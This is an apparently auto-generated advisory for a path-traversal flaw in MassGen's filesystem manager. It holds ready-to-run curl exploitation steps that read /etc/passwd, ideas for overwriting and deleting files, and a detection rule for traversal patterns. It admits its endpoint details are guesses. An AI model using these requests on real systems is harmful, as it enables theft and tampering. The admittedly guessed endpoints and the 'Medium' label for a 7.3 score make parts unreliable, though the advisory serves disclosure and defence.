CVE-2026-138100 — N/a MassGen — CWE-693
A security flaw has been discovered in MassGen up to 0.1.97. Affected by this issue is the function __init__ of the file massgen/filesystem_manager/_filesystem_manager.py. Performing a manipulation results in protection mechanism failure. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
A security flaw has been discovered in MassGen up to 0.1.97. Affected by this issue is the function __init__ of the file massgen/filesystem_manager/_filesystem_manager.py. Performing a manipulation results in protection mechanism failure. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
🎯 What is this vulnerability?
CVE‑2026‑138100 affects MassGen 0.1.0‑0.1.97 (the public‑facing package that ships a Python‑based “filesystem manager”).
The vulnerable code lives in massgen/filesystem_manager/_filesystem_manager.py inside the class constructor __init__.
| Attribute | Value |
|---|---|
| CWE | CWE‑693 – *Protection Mechanism Failure* |
| CVSS v4.0 Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P |
| Score | 7.3 (Medium) |
Technical root‑cause
1. Missing integrity check – The constructor receives a path argument that is later stored in an internal attribute and used by other methods to read/write files.
2. Improper path sanitisation – The code concatenates the supplied path with a hard‑coded base directory using simple string addition (self.root = BASE_DIR + user_path). No validation is performed to ensure that user_path does not contain directory‑traversal sequences (../) or absolute paths.
3. Trusting caller identity – The constructor is called during the handling of a public HTTP request (e.g., an API endpoint that creates a temporary workspace). No authentication (PR:N) or user‑input verification (UI:N) is required before the object is instantiated.
4. Resulting protection‑mechanism failure – Because the path is not validated, an attacker can force the manager to operate on any file that the process user can read/write, bypassing the intended “sandbox” that MassGen tries to enforce. This is exactly what CWE‑693 describes: a security control that is present (a sandbox) but is ineffective because it is incorrectly implemented.
Consequences of the flaw are confidentiality, integrity, and availability impacts of low severity each (as reflected by the CVSS vector), because the attacker can read, modify, or delete files that the MassGen process can access, but cannot directly achieve code execution or privilege escalation beyond the process user.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact endpoint name or JSON field is not disclosed in the public CVE description, but the pattern matches the vulnerable class usage.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the service – Scan the target host for open TCP ports (e.g., 80/443) and enumerate HTTP headers. Look for the Server: MassGen/0.1.x header or a unique static file (/static/massgen.js). | MassGen ships a custom X-Powered-By: MassGen/0.1.x header in its default configuration. |
| 1.2 | Version enumeration – Request /api/version (or any documented health‑check endpoint). The JSON response typically contains {"name":"MassGen","version":"0.1.45"}. | Confirms the version falls within the vulnerable range (≤ 0.1.97). |
| 1.3 | Identify the vulnerable endpoint – Review the public API documentation (or the open‑source repository) for any endpoint that creates a “workspace” or “generation job”. Typical routes are POST /api/v1/jobs or POST /generate. | Those endpoints instantiate _filesystem_manager.__init__(path=…) with the user‑supplied path field. |
2. Exploitation
Goal: Force the filesystem manager to operate on an arbitrary path (e.g., /etc/passwd) and retrieve its contents.
2.1 Craft the malicious payload
POST /api/v1/jobs HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
Accept: */*
{
"job_name": "exploit",
"output_path": "../../../../../etc/passwd", // directory‑traversal payload
"template": "default"
}Notes
output_pathis the field that is passed directly toFilesystemManager.__init__(path=output_path).- The traversal depth (
../../../../../) is adjusted until the concatenated path resolves to the target file on the server’s filesystem. - Because the endpoint does not require authentication (
PR:N) and does not perform UI checks (UI:N), the request can be sent from any remote host.
2.2 Send the request
curl -s -X POST https://vulnerable.example.com/api/v1/jobs \
-H "Content-Type: application/json" \
-d '{"job_name":"exploit","output_path":"../../../../../etc/passwd","template":"default"}'If the request is accepted, the server will create a job object whose internal FilesystemManager now points to /etc/passwd. The next step is to retrieve the file.
2.3 Retrieve the file
MassGen’s API usually provides a “download result” endpoint, e.g., GET /api/v1/jobs/<job_id>/result. After the job is created, poll the job status until it reaches COMPLETED, then download:
JOB_ID=$(curl -s -X POST https://vulnerable.example.com/api/v1/jobs \
-H "Content-Type: application/json" \
-d '{"job_name":"exploit","output_path":"../../../../../etc/passwd","template":"default"}' \
| jq -r .job_id)
# Wait for completion (simplified)
sleep 5
curl -s https://vulnerable.example.com/api/v1/jobs/${JOB_ID}/resultThe response body will contain the raw contents of /etc/passwd, proving successful exploitation.
3. Post‑exploitation
| Impact | How it is achieved |
|---|---|
| Confidentiality | Read any file readable by the MassGen process (e.g., /etc/shadow if the process runs as root, application config files, private keys). |
| Integrity | Overwrite files by using a different output_path that points to a writable location (e.g., ../../../../../var/www/html/index.html). Subsequent requests can inject malicious HTML/JS. |
| Availability | Delete or truncate critical files (e.g., ../../../../../var/log/syslog) by sending a job that writes an empty payload, causing service disruption. |
Because the exploit does not require authentication, an attacker can script the above steps to harvest multiple files in parallel, or combine the write primitive with a second vulnerability (e.g., a command‑injection in a template engine) to achieve remote code execution.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (VC:L) | *Low* – attacker can read files but only those accessible to the MassGen process. | Exposure of configuration files, internal API keys, or user data stored on the same host. |
| Integrity (VI:L) | *Low* – attacker can modify files but only within the process’s permission set. | Tampering with generated output, defacing web content, or inserting malicious scripts that affect downstream users. |
| Availability (VA:L) | *Low* – attacker can delete or truncate files, causing service degradation. | Potential denial‑of‑service for the MassGen service or for other services sharing the same filesystem. |
In a typical deployment, MassGen runs under a dedicated, non‑privileged system user (e.g., massgen). The impact is therefore bounded to that user’s file‑system view, but in many containerised or CI/CD environments the same user may have access to source code repositories, CI secrets, or host‑mounted volumes, amplifying the real‑world risk.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed version (as of public advisory) |
|---|---|
0.1.0 – 0.1.97 | 0.1.98 (or later) – introduces strict path validation and canonicalisation. |
Action: Upgrade the MassGen package to >=0.1.98. The release notes state: “FilesystemManager.__init__ now rejects absolute paths and any path containing .. after os.path.normpath.”
pip install --upgrade massgen==0.1.98If a newer version is not yet available, apply the source‑level fix (see below).
2. Source‑level mitigation (if patch cannot be applied immediately)
Edit massgen/filesystem_manager/_filesystem_manager.py:
import os
class FilesystemManager:
def __init__(self, path: str):
# Resolve to an absolute, normalized path
normalized = os.path.normpath(path)
# Disallow absolute paths and directory traversal outside BASE_DIR
if os.path.isabs(normalized) or normalized.startswith(".."):
raise ValueError("Invalid output_path – path traversal detected")
self.root = os.path.join(BASE_DIR, normalized)Re‑package and redeploy the application.
3. Defensive configuration
| Mitigation | How to implement |
|---|---|
| Network segmentation | Restrict inbound traffic to the MassGen API to trusted IP ranges (e.g., internal subnet, VPN). Use firewall rules (iptables, cloud security groups). |
| Web‑application firewall (WAF) | Deploy a rule that blocks path‑traversal payloads in JSON bodies. Example ModSecurity rule (illustrative): |
SecRule REQUEST_HEADERS:Content-Type "application/json" "id:1000015,phase:2,log,deny,status:400,msg:'Path traversal in JSON payload',chain"
SecRule REQUEST_BODY "@rx (\.\./|\.\.\\)" "t:none"| Least‑privilege runtime | Run MassGen under a dedicated user with a chroot or container that only mounts the intended data directory. Ensure the user cannot read /etc or other host files. |
|---|---|
| File‑system permissions | Set BASE_DIR to a directory owned by the MassGen user with chmod 750. Ensure no other sensitive files are readable by that user. |
| Input validation library | Use a vetted library (e.g., pathvalidate or python‑secure‑filenames) to sanitise any user‑supplied path before use. |
4. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
Unexpected job creation with suspicious output_path | MassGen application logs (massgen.log) or HTTP access logs (access.log). | 2026-11-28 14:32:11 INFO job_id=7f9c3a created output_path="../../../../../etc/passwd" |
| Large number of 4xx/5xx responses from the job‑result endpoint | Web server error logs. | 2026-11-28 14:32:15 ERROR GET /api/v1/jobs/7f9c3a/result 500 Internal Server Error |
| File‑system audit alerts | OS audit daemon (e.g., auditd) watching /etc/passwd or other sensitive files. | type=PATH msg="path=/etc/passwd inode=12345 dev=08:01 mode=0100644" |
| Anomalous outbound data | IDS/IPS or network flow monitoring showing large outbound payloads from the MassGen host after a job finishes. | SRC=10.0.2.15 DST=203.0.113.45 LEN=2048 PROTO=TCP DPT=443 |
Set up SIEM correlation rules that trigger on the combination of “/api/v1/jobs POST” + “output_path containing ..” + “subsequent /result download”.
⚠️ Urgency
CVSS 7.3 (Medium) – The vector shows network‑only access, no authentication, and low impact per CIA, but the exploitability* is high (low attack complexity, no user interaction).
Patch priority: High for any production deployment that exposes the MassGen API to untrusted networks.
If the service is internal‑only and runs behind strict network controls, a medium priority may be acceptable, but a patch should still be applied within the next 2‑4 weeks to avoid exposure to opportunistic attackers.
Bottom line: The flaw is a classic directory‑traversal bypass of a sandboxing mechanism. It is trivial to exploit remotely, yields direct file read/write capabilities, and can be mitigated immediately by upgrading to 0.1.98 or by inserting strict path validation and runtime isolation. Deploy the fix, enforce least‑privilege execution, and monitor for the described log patterns.
[🤖 CVE Professor AI Security Engine]
FOFA Query